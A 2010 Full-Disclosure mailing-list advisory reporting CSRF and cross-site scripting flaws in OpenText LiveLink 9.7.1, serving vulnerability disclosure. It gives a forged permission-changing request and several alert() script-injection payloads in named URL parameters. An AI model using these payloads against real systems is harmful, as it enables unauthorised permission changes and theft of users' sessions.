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[Full-disclosure] OpenText LiveLink 9.7.1 multiple vulnerabilities (CSRF, XSS)

From: A. Ramos (aramosfgmail.com)
Date: Wed Sep 22 2010 - 17:26:48 CDT


# Exploit Title: OpenText LiveLink multiple vulnerabilities (CSRF, XSS)
# Date: 22/06/2010
# Author: Alejandro Ramos <aramosf gmail.com>
# http://www.securitybydefault.com
# Software Link: http://www.opentext.com/
# Version: 9.7.1
# Tested on: Solaris

Opentext (NASDAQ OTEX) LiveLink 9.7.1

Livelink features several advanced foundational elements that allow
organizations to
apidly and easily enable advanced content management applications and solutions
throughout the enterprise.

CSRF:
Livelink ECM is prone to a cross-site request forgery vulnerability
because it fails
to properly sanitize data input.

An attacker may leverage this issue to change permissions of folders
or resources.

1.- POST Request:
https://host/func=ll&objAction=EditAcl2&objType=1&objID=514&nodeId=3083071&id=14&rightId=14&PermType=0&Root=&nextUrl2=&PermActionType=&See=on&SeeContent=on&Modify=on&EditAttr=on&Reserve=on&DeleteVersion=on&Delete=on&EditPerm=on

XSS:

Livelink ECM is prone to a cross-site scripting vulnerability because it fails
to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This may
help the attacker steal cookie-based authentication credentials and
launch other attacks.

1.- parameter: viewType
https://host/livelink/livelink?func=ll&objId=514&objAction=browse&viewType=aa"><script>alert(514)</script><img
src="

2,3,4.- parameters: nodeid, setctx, support
https://host/livelinkdav/nodes/OOB_DAVWindow.html?func=oobget&nodeid=514&support=/livelinksupport/&setctx=');alert('XSS');//514--idctx-12&ctxval=blahblah

5.- POST Request.-
https://host/livelink/livelink?func=ll.processAccept&objId=514&webDAVCacheID=1&cacheID=1&sysCacheID=0&nextUrl=/livelink/livelink%3Ffunc%3Dll%26objID%3D514%26objAction%3Dbrowse%26viewType%3D21

6.- parameter: sort
https://host/livelink/livelink?func=ll&objid=1&objAction=browse&sort=%22%3E%3Cscript%3Ealert%28514%29%3C/script%3E%3Cimg%20src=%22

--
Alejandro Ramos
http://www.securitybydefault.com

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